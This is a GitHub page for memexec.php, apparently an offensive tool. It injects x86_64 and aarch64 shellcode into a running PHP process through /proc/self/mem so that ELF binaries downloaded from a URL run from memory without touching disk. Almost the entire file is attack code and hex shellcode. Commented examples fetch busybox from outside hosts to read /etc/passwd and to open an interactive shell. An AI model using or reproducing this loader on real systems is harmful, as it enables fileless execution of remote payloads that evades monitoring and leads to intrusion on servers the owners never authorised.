memexec/memexec.php at main · arget13/memexec · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
// Get end address of vDSO and a place to put a jmp instruction
preg_match("/^.*vdso.*\$/m", file_get_contents("/proc/self/maps"), $matches);
$vdso_range = explode(" ", $matches[0])[0];
$vdso_end = hexdec(substr($vdso_range, strpos($matches[0], "-") + 1));
$syscall_array = explode(" ", file_get_contents("/proc/self/syscall"));
$jmp_addr = hexdec(trim($syscall_array[8]));

function val2hex($addr, $len = 8) // Converts endianness too
{
    $addr = dechex($addr);
    $addr = (strlen($addr) & 1 ? "0" : "") . $addr;
    $addr = bin2hex(strrev(hex2bin($addr)));
    return $addr . str_repeat("0", $len * 2 - strlen($addr));
}

$mem = fopen("/proc/self/mem", "r+");
fseek($mem, $jmp_addr);

// Assembled from stager_*64.s
if (php_uname("m") == "x86_64")
{ // x64
    $original = fread($mem, 12);
    $stager = hex2bin("505756524152488d7c24f8b8160000000f05b8390000000f0585c0744d8b7c24f8b8030000000f058b3dda000000488d35c700000048c7c20c0000004c8b15b1000000b8120000000f0589fe8b7c24fcb8210000000f05b8030000000f05415a5a5e5f58ff258a00000048c7c70000000048c7c60000000048c7c06d0000000f058b7c24fcb8030000000f058b7c24f84831f6b8210000000f05b8030000000f058b3d61000000b8030000000f0541b90000000041b8ffffffff41ba22000000ba03000000be00100000bf00000000b8090000000f0589f24889c631c089c70f054889f789d6ba0500000066b80a000f05ffe790");
    $target = $vdso_end - strlen($stager) - 8 - 12 - 4;
    $jmp = hex2bin("48b8" . val2hex($target) . "ffe0");
} else { // aarch64
    $original = fread($mem, 16);
    $stager = hex2bin("e007bfa9e20fbfa9e723bfa927090010e02300d1010080d2680780d2010000d4020080d2030080d2040080d2881b80d2010000d4e00200b4e0835fb8280780d2010000d4e01840b9e1200091020280d2e30040f9880880d2010000d4e0c35fb8e11840b9020080d2080380d2010000d4e0c35fb8280780d2010000d4f00040f9e723c1a8e20fc1a8e007c1a800021fd6000080d2010080d2481380d2010000d4e0c35fb8280780d2010000d4e0835fb801008052020080d2080380d2010000d4e0835fb8280780d2010000d4e01840b9280780d2010000d4050080520400801243048052620080520100825200008052c81b8052010000d4e203012ae10300aae807805200008052010000d4e00301aae30301aae103022aa2008052481c8052010000d460001fd61f2003d51f2003d5");
    $target = $vdso_end - strlen($stager) - 8 - 16 - 4;
    $jmp = hex2bin("4000005800001fd6" . val2hex($target));
}

echo $vdso_range . "\n";
echo trim($syscall_array[8]) . "\n";
echo bin2hex($original) . "\n";
echo "target: " . val2hex($target) . "\n";

// Get the file descriptor
$fddir = opendir("/proc/self/fd");
do
{
    $fd = readdir();
    if ($fd === "." || $fd === "..") continue;
    if (readlink("/proc/self/fd/" . $fd) === "/proc/" . getmypid() . "/mem")
        break;
} while (1);
closedir($fddir);
echo "fd = " . $fd . "\n";

$fd = hex2bin(val2hex($fd, 4));
fseek($mem, $target);
fwrite($mem, $stager . hex2bin(val2hex($jmp_addr)) . $original . $fd);
fseek($mem, $jmp_addr);
fwrite($mem, $jmp);

// Compiled code from memexecd.c
if (php_uname("m") == "x86_64")
{
    $shellcode = "554889e54881ec4001000048c745d800000000488d85e0feffff4889c6488d05a60e00004889c7e85b0b0000488945d0488b45d0ba01000000488d0d990e00004889ce4889c7e8060c0000488b55d04801c2488d85e8feffff4889c64889d7e8230b0000488945c8488b45c8ba00000000be000040404889c7e8ab070000488945c0488b95e0feffff488b45d04889d64889c7e8170e0000488b95e8feffff488b45c84889d64889c7e8010e0000e937070000c745e4010000008b85d8feffff85c00f844b0100008b85d8feffff489848898570ffffff48838570ffffff0f4883a570fffffff04889e2488b8570ffffff48f7d84801d04889c44889e0488945b88b85d8feffff4863d0488b45b8be000000004889c7e8490d00008b85d8feffff4863d0488b45b84889c6bf00000000e88d0d0000488b45b8488945e8eb048345e401488b45e84889c7e8770c00004883c001480145e88b85d8feffff4863d0488b45b84801d0483945e872d28b45e483c001489848c1e00348898568ffffff48838568ffffff0f4883a568fffffff04889e2488b8568ffffff48f7d84801d04889c44889e0488945f0c745e000000000488b45b8488945e8eb338b45e04898488d14c500000000488b45f04801c2488b45e8488902488b45e84889c7e8e40b00004883c001480145e88345e0018b45e03b45e47cc58b45e44898488d14c500000000488b45f04801d048c70000000000eb5348c78560ffffff1000000048838560ffffff0f4883a560fffffff04889e2488b8560ffffff48f7d84801d04889c44889e0488945f0488b45f0488d5008488b45f0488910488b45f04883c00848c70000000000488d85dcfeffffba040000004889c6bf00000000e8430c000048c78558ffffff1100000048c78550ffffff0000000048c78548ffffff0000000048c78540ffffff0000000048c78538ffffff000000004c8b8538ffffff4c8b9540ffffff488b9548ffffff488bb550ffffff488bbd58ffffffb8380000000f0585c00f85140400008b85dcfeffff48984889c7e8460a0000488945c8488d95f0feffff488b45c8be000040004889c7e815050000488945b0488b45c0488b5018488b45c04801d0488945a8488b45c8488b50188b85f0feffff489883e00148f7d8482345b04801d0488945a0488b45c80fb740380fb7c048894598488b45c80fb740360fb7c048894590488b45c8488b5020488b45b04801d0488945888b85dcfeffff4863d0488b45c84889d64889c7e81a0b000041b90000000041b8ffffffffb922000200ba03000000be00100200bf00000000e8fd0a000048894580488b4580480500100200488945f848836df808488b45f848c700000000008b45e483e00185c0741048836df808488b45f848c7000000000048c785c0feffff2a00000048c785c8feffff2a000000c745e000000000488345f880488b45f848898578ffffff8b45e0489848c1e0044889c2488b8578ffffff4801d048c700060000008b45e08d50018955e0489848c1e0044889c2488b8578ffffff4801d048c74008001000008b45e0489848c1e0044889c2488b8578ffffff4801d048c700190000008b45e08d50018955e0489848c1e0044889c2488b8578ffffff4801c2488d85c0feffff488942088b45e0489848c1e0044889c2488b8578ffffff4801d048c700090000008b45e08d50018955e0489848c1e0044889c2488b8578ffffff4801c2488b45a0488942088b45e0489848c1e0044889c2488b8578ffffff4801d048c700070000008b85f0feffff83e00285c00f94c00fb6c88b45e08d50018955e0489848c1e0044889c2488b8578ffffff4801c24889c848f7d8482345c0488942088b45e0489848c1e0044889c2488b8578ffffff4801d048c700050000008b45e08d50018955e0489848c1e0044889c2488b8578ffffff4801c2488b4598488942088b45e0489848c1e0044889c2488b8578ffffff4801d048c700040000008b45e08d50018955e0489848c1e0044889c2488b8578ffffff4801c2488b4590488942088b45e0489848c1e0044889c2488b8578ffffff4801d048c700030000008b45e08d50018955e0489848c1e0044889c2488b8578ffffff4801c2488b4588488942088b45e0489848c1e0044889c2488b8578ffffff4801d048c700000000008b45e08d50018955e0489848c1e0044889c2488b8578ffffff4801d048c740080000000048836df808488b45f848c7000000000048836df808488b45f848c700000000008b45e4489848c1e00348f7d8480145f88b45e44898488d14c500000000488b4df0488b45f84889ce4889c7e81408000048836df8088b45e44863d0488b45f8488910c78534ffffff03000000c78530ffffff00000000ba000000008b8530ffffff48984889c68b8534ffffff48984889c7b8240100000f05488b65f88b85f0feffff83e00285c07408488b45a0ffe0eb06488b45a8ffe08b85d8feffff4898488985f8feffff488385f8feffff0f4883a5f8fefffff04889e2488b85f8feffff4801d04889c4908b45e483c001489848c1e00348898500ffffff48838500ffffff0f4883a500fffffff04889e2488b8500ffffff4801d04889c490c78524ffffffffffffff48c78518ffffff0000";
    $shellcode .= "0000c78514ffffff0000000048c78508ffffff000000004c8b9508ffffff8b8514ffffff48984889c2488bb518ffffff8b8524ffffff48984889c7b83d0000000f05b86e0000000f0589852cffffffc78528ffffff120000008b8528ffffff48984889c68b852cffffff48984889c7b83e0000000f0590488d85d8feffffba040000004889c6bf00000000e8bf0600004883f8040f84a6f8ffffc785f4feffff000000008b85f4feffff48984889c7b83c0000000f05554889e54881eca00000004889bd78ffffff4889b570ffffff48899568ffffff48c745f800000000488b8578ffffff488945e0488b45e0488b5020488b8578ffffff4801d0488945d8488b45e00fb74038668945d6488b8578ffffffba00000000488d0d500600004889ce4889c7e8b5030000488945c84883bd68ffffff00740d488b8568ffffffc70002000000488b45e00fb740106683f80375234883bd68ffffff007424488b8568ffffff8b0083c80189c2488b8568ffffff8910eb0b48c78570ffffff00000000c745f400000000e96b0200004883bd68ffffff00743c8b45f44863d04889d048c1e0034829d048c1e0034889c2488b45d84801d08b0083f8037517488b8568ffffff8b0083e0fd89c2488b8568ffffff89108b45f44863d04889d048c1e0034829d048c1e0034889c2488b45d84801d08b0083f8010f85f70100008b45f44863d04889d048c1e0034829d048c1e0034889c2488b45d84801d08b40048945c48b45f44863d04889d048c1e0034829d048c1e0034889c2488b45d84801d0488b4008488945b88b45f44863d04889d048c1e0034829d048c1e0034889c2488b45d84801d0488b4010488945b08b45f44863d04889d048c1e0034829d048c1e0034889c2488b45d84801d0488b4020488945e88b45f44863d04889d048c1e0034829d048c1e0034889c2488b45d84801d0488b4028488945a8488b45b0482500f0ffff488945a08b45c4c1e80283e00189c28b45c483e00209c28b45c4c1e00283e00409d089459c488b45b0482b45a0480145e8488b45b0482b45a0480145a8488b45a0482b45b0480145b8488b9570ffffff488b45a0488d3c02488b45a841b90000000041b8ffffffffb932000000ba030000004889c6e80904000048837db8007508488b45a0488945f8488b45e84805ff0f0000482500f0ffff488945e848837dc8007427488b45c8483b45a0721d488b55a0488b45e84801d0483945c8730c488b45c8482b45a0488945e8488b9578ffffff488b45b8488d3402488b9570ffffff488b45a0488d0c02488b45e84889c24889cfe87d0300008b459c488b8d70ffffff488b55a04801ca48895590488b55e8488955888945848b458448984889c2488b7588488b7d90b80a0000000f05eb01908345f4010fb745d63945f40f8c88fdffff488b9570ffffff488b45f84801d0c9c3554889e54883ec5048897db8488975b0c745d89cffffff488b45b8488945d0c745cc000000008b45cc48984889c2488b75d08b45d848984889c7b8010100000f058945fc8b45fc8945e848c745e000000000c745dc020000008b45dc48984889c2488b45e04889c68b45e848984889c7b8080000000f054889c2488b45b0488910488b45b0488b008b55fc41b9000000004189d0b902000000ba010000004889c6bf00000000e885020000488945f08b45fc8945ec8b45ec48984889c7b8030000000f05488b45f0c9c3554889e54883ec5048897dc8488975c08955bc488b45c8488945f0488b45f0488b5028488b45c84801d0488945e8488b45f00fb7403c668945e6488b45f00fb7403e668945e40fb745e448c1e0064889c2488b45e84801d0488b5018488b45c84801d0488945d8c745fc00000000eb6d8b45fc489848c1e0064889c2488b45e84801d08b0089c2488b45d84801c2488b45c04889c64889d7e80701000085c07538837dbc0074198b45fc489848c1e0064889c2488b45e84801d0488b4018eb2b8b45fc489848c1e0064889c2488b45e84801d0488b4010eb128345fc010fb745e63945fc7c8ab800000000c9c3554889e54883ec3048897dd848c745f00000000048c745f800000000488b45d841b90000000041b8ffffffffb922000000ba030000004889c6bf00000000e836010000488945e8488b55e8488b45f8488d0c02488b45d84889c24889cebf00000000e81d010000488945f0488b45f0480145f8488b45f0482945d848837dd80075c5488b45e8c9c3554889e548897de848c745f800000000eb05488345f801488b55e8488b45f84801d00fb60084c075e9488b45f85dc3554889e548897de8488975e048c745f800000000eb05488345f801488b55e8488b45f84801d00fb6000fbec0488b4de0488b55f84801ca0fb6120fbed229d08945f485c07524488b55e8488b45f84801d00fb60084c07412488b55e0488b45f84801d00fb60084c075ac8b45f45dc3554889e548897de88975e4488955d848c745f800000000eb1c488b55f8488b45e84801d08b55e48810488b45f84883c001488945f8488b45f8483b45d872da488b45e85dc34889d1f3a4c3b80b0000000f05c34987cab8090000000f05c3b8000000000f05c32f70726f632f73656c662f657865002e696e74657270002e62737300";
    $shellcode = hex2bin($shellcode);
} else {
    $shellcode = "fd7baba9fd030091bf9700f9a0c30091e10300aa60790010ca020094a09300f92200805241790070a09340f9f6020094e10300aaa09340f90000018ba1e30091c0020094a08f00f9020080d20108a8d2a08f40f9d7010094a08b00f9a01b40f9e10300aaa09340f9ad030094a01f40f9e10300aaa08f40f9a9030094c201001420008052a03701b9a02b40b91f000071e00b0054a02b40b9007c4093a06300f9a06340f9003c0091a06300f9a06340f900ec7c92a06300f9e1030091a06340f9e00300cb2000008b1f000091e0030091a08700f9a02b40b9007c4093e20300aa01008052a08740f95f030094a02b40b9007c4093e20300aaa18740f9000080528d030094a08740f9a09f00f904000014a03741b900040011a03701b9a09f40f91d03009400040091a19f40f92000008ba09f00f9a02b40b9007c4093a18740f92000008ba19f40f93f0000eb23feff54a03741b900040011007c409300f07dd3a05f00f9a05f40f9003c0091a05f00f9a05f40f900ec7c92a05f00f9e1030091a05f40f9e00300cb2000008b1f000091e0030091a0a300f9bf3301b9a08740f9a09f00f910000014a03381b900f07dd3a1a340f92000008ba19f40f9010000f9a09f40f9f402009400040091a19f40f92000008ba09f00f9a03341b900040011a03301b9a13341b9a03741b93f00006bcbfdff54a03781b900f07dd3a1a340f92000008b1f0000f917000014000280d2a05b00f9a05b40f9003c0091a05b00f9a05b40f900ec7c92a05b00f9e1030091a05b40f9e00300cb2000008b1f000091e0030091a0a300f9a0a340f901200091a0a340f9010000f9a0a340f9002000911f0000f9a0b30091820080d2e10300aa0000805230030094200280d2a05700f9bf5300f9bf4f00f9bf4b00f9bf4700f9a44740f9a34b40f9a24f40f9a15340f9a05740f9881b80d2010000d41f00007101200054a02f40b9007c409393020094a08f00f9a0030191e20300aa0108a0d2a08f40f937010094a08300f9a08b40f9000c40f9a18b40f92000008ba07f00f9a08f40f9010c40f9a04340b9000000121f000071e0079f1a001c0012021c4092a08340f9407c009b2000008ba07b00f9a08f40f900704079003c4092a07700f9a08f40f9006c4079003c4092a07300f9a08f40f9001040f9a18340f92000008ba06f00f9a02f40b9007c4093e10300aaa08f40f9ee020094050080d204008012430480524300a07262008052010082d24100a0f2000080d2e8020094a06b00f9a06b40f900844091a0a700f9a0a740f9002000d1a0a700f9a0a740f91f0000f9a03741b9000000121f000071c0000054a0a740f9002000d1a0a700f9a0a740f91f0000f9400580d2a00f00f9400580d2a01300f9bf3301b9a0a740f9000002d1a0a700f9a0a740f9a06700f9a03381b900ec7cd3a16740f92000008bc10080d2010000f9a03341b901040011a13301b9007c409300ec7cd3a16740f92000008b010082d2010400f9a03381b900ec7cd3a16740f92000008b210380d2010000f9a03341b901040011a13301b9007c409300ec7cd3a16740f92000008ba1630091010400f9a03381b900ec7cd3a16740f92000008b210180d2010000f9a03341b901040011a13301b9007c409300ec7cd3a16740f92000008ba17b40f9010400f9a03381b900ec7cd3a16740f92000008be10080d2010000f9a04340b900001f121f000071e0179f1a001c0012021c4092a03341b901040011a13301b9007c409300ec7cd3a16740f92000008ba18b40f9417c019b010400f9a03381b900ec7cd3a16740f92000008ba10080d2010000f9a03341b901040011a13301b9007c409300ec7cd3a16740f92000008ba17740f9010400f9a03381b900ec7cd3a16740f92000008b810080d2010000f9a03341b901040011a13301b9007c409300ec7cd3a16740f92000008ba17340f9010400f9a03381b900ec7cd3a16740f92000008b610080d2010000f9a03341b901040011a13301b9007c409300ec7cd3a16740f92000008ba16f40f9010400f9a03381b900ec7cd3a16740f92000008b1f0000f9a03341b901040011a13301b9007c409300ec7cd3a16740f92000008b1f0400f9a0a740f9002000d1a0a700f9a0a740f91f0000f9a0a740f9002000d1a0a700f9a0a740f91f0000f9a03781b900f07dd3e00300cba1a740f92000008ba0a700f9a03781b900f07dd3e20300aaa1a340f9a0a740f91e020094a0a740f9002000d1a0a700f9a13781b9a0a740f9010000f960008052a08700b9bf8300b9020080d2a08380b9e10300aaa08780b9080380d2010000d4a0a740f91f000091a04340b900001f121f00007180000054a07b40f900001fd603000014a07f40f900001fd6a02b40b9007c4093a02700f9a02740f9003c0091a02700f9a02740f900ec7c92a02700f9e1030091a02740f92000008b1f0000911f2003d5a03741b900040011007c409300f07dd3a02b00f9a02b40f9003c0091a02b00f9a02b40f900ec7c92a02b00f9e1030091a02b40f92000008b1f0000911f2003d500008012a07700b9bf3700f9bf6700b9bf2f00f9a32f40f9a06780b9e20300aaa13740f9a07780b9882080d2010000d4a81580d2010000d4a07f00b940028052a07b00b9a07b80b9e10300aaa07f80b9281080d2010000d41f2003d5a0a30091820080d2e10300aa00008052e80100941f1000f120c7ff54bf4700b9a04780b9a80b80d2010000d4fd7bb5a9fd030091e01700f9e11300f9e20f00f9ff5700f9e";
    $shellcode .= "01740f9e04b00f9e04b40f9001040f9e11740f92000008be04700f9e04b40f900704079e00f017902008052013b0070e01740f902010094e03f00f9e00f40f91f0000f180000054e00f40f941008052010000b9e04b40f9002040791f0c007141010054e00f40f91f0000f100010054e00f40f9000040b901000032e00f40f9010000b902000014ff1300f9ffa700b9b1000014e00f40f91f0000f120020054e1a780b9e00301aa00f07dd3000001cb00f07dd3e10300aae04740f90000018b000040b91f0c0071c1000054e00f40f9000040b901781e12e00f40f9010000b9e1a780b9e00301aa00f07dd3000001cb00f07dd3e10300aae04740f90000018b000040b91f040071e1110054e1a780b9e00301aa00f07dd3000001cb00f07dd3e10300aae04740f90000018b000440b9e07700b9e1a780b9e00301aa00f07dd3000001cb00f07dd3e10300aae04740f90000018b000440f9e03700f9e1a780b9e00301aa00f07dd3000001cb00f07dd3e10300aae04740f90000018b000840f9e03300f9e1a780b9e00301aa00f07dd3000001cb00f07dd3e10300aae04740f90000018b001040f9e04f00f9e1a780b9e00301aa00f07dd3000001cb00f07dd3e10300aae04740f90000018b001440f9e02f00f9e03340f900cc7492e02b00f9e07740b9007c025301000012e07740b900001f122100002ae07740b900741e5300001e122000002ae04f00b9e13340f9e02b40f9200000cbe14f40f92000008be04f00f9e13340f9e02b40f9200000cbe12f40f92000008be02f00f9e12b40f9e03340f9200000cbe13740f92000008be03700f9e11340f9e02b40f92000008b050080d2040080124306805262008052e12f40f93b010094e03740f91f0000f161000054e02b40f9e05700f9e04f40f900fc3f9100cc7492e04f00f9e03f40f91f0000f1e0010054e13f40f9e02b40f93f0000eb63010054e12b40f9e04f40f92000008be13f40f93f0000eba2000054e13f40f9e02b40f9200000cbe04f00f9e11340f9e02b40f92300008be11740f9e03740f92000008be24f40f9e10300aae00303aafc000094e11340f9e02b40f92100008be04f40b9e12300f9e14f40f9e11f00f9e03700b9e03780b9e20300aae11f40f9e02340f9481c80d2010000d4020000141f2003d5e0a740b900040011e0a700b9e00f4179e1a740b93f00006babe9ff54e11340f9e05740f92000008bfd7bcba8c0035fd6fd7bbaa9fd030091e00f00f9e10b00f9600c8012e03b00b9e00f40f9e01b00f9ff2f00b9e02f80b9e20300aae11b40f9e03b80b9080780d2010000d4e05f00b9e05f40b9e04b00b9ff2300f940008052e03f00b9e03f80b9e20300aae02340f9e10300aae04b80b9c80780d2010000d4e10300aae00b40f9010000f9e00b40f9000040f9050080d2e45f40b94300805222008052e10300aa000080d2d3000094e02b00f9e05f40b9e04f00b9e04f80b9280780d2010000d4e02b40f9fd7bc6a8c0035fd6fd7bbaa9fd030091e01700f9e11300f9e21f00b9e01740f9e02b00f9e02b40f9001440f9e11740f92000008be02700f9e02b40f900784079e08f0079e02b40f9007c4079e08b0079e08b407900e47ad3e12740f92000008b000c40f9e11740f92000008be01f00f9ff5f00b91f000014e05f80b900e47ad3e12740f92000008b000040b9e003002ae11f40f92000008be11340f94f0000941f00007101020054e01f40b91f000071e0000054e05f80b900e47ad3e12740f92000008b000c40f90f000014e05f80b900e47ad3e12740f92000008b000840f909000014e05f40b900040011e05f00b9e08f4079e15f40b93f00006bebfbff54000080d2fd7bc6a8c0035fd6fd7bbca9fd030091e00f00f9ff1b00f9ff1f00f9050080d2040080124304805262008052e10f40f9000080d27d000094e01700f9e11740f9e01f40f92000008be20f40f9e10300aa0000805278000094e01b00f9e11f40f9e01b40f92000008be01f00f9e10f40f9e01b40f9200000cbe00f00f9e00f40f91f0000f1c1fdff54e01740f9fd7bc4a8c0035fd6ff8300d1e00700f9ff0f00f904000014e00f40f900040091e00f00f9e10740f9e00f40f92000008b000040391f00007101ffff54e00f40f9ff830091c0035fd6ff8300d1e00700f9e10300f9ff0f00f904000014e00f40f900040091e00f00f9e10740f9e00f40f92000008b00004039e203002ae10340f9e00f40f92000008b000040394000004be01700b91f000071a1010054e10740f9e00f40f92000008b000040391f000071e0000054e10340f9e00f40f92000008b000040391f000071a1fcff54e01740b9ff830091c0035fd6ffc300d1e00f00f9e11700b9e20700f9ff1700f90a000014e01740f9e10f40f92000008be11740b9211c001201000039e01740f900040091e01700f9e01740f9e10740f93f0000eb88feff54e00f40f9ffc30091c0035fd6ffc300d1e00f00f9e10b00f9e20700f9ff1700f90c000014e01740f9e10b40f92100008be01740f9e20f40f94000008b2100403901000039e01740f900040091e01700f9e01740f9e10740f93f0000eb48feff54e00f40f9ffc30091c0035fd6e81a80d2010000d4c0035fd6c81b80d2010000d4c0035fd6e80780d2010000d4c0035fd62f70726f632f73656c662f657865002e696e74657270002e62737300";
    $shellcode = hex2bin($shellcode);
}

// Send sc to the child php process so it's run by the stager
fwrite($mem, $shellcode);

// Prepare memexec function
$GLOBALS['pipe'] = $mem;
function memexec($url, $argv = [], $stop = true)
{
    $args = "";
    foreach ($argv as &$arg)
        $args .= $arg . "\0";
    unset($arg);

    $f = fopen($url, "r");
    $binary = "";
    while (!feof($f))
        $binary .= fread($f, 2048);
    fclose($f);

    $args = pack('V', strlen($args)) . $args . pack('V', strlen($binary));
    fwrite($GLOBALS['pipe'], $args);
    fwrite($GLOBALS['pipe'], $binary);
    if ($stop) posix_kill(posix_getpid(), 19);
}

// memexec("/bin/ls", ["ls", "-la", "/"], false);
// memexec("https://privesc.s3.eu-west-1.amazonaws.com/memexec/busybox", ["ls", "-la", "/"], false); // PIE
// memexec("https://busybox.net/downloads/binaries/1.21.1/busybox-x86_64", ["ls", "-la", "/"], false); // No PIE
// memexec("https://busybox.net/downloads/binaries/1.21.1/busybox-x86_64", ["cat", "/etc/passwd"], false);
// memexec("https://busybox.net/downloads/binaries/1.21.1/busybox-x86_64", ["sh","-i"], true);
// memexec("https://privesc.s3.eu-west-1.amazonaws.com/memexec/busyboxarm", ["ls", "-al"], false); // PIE ARM64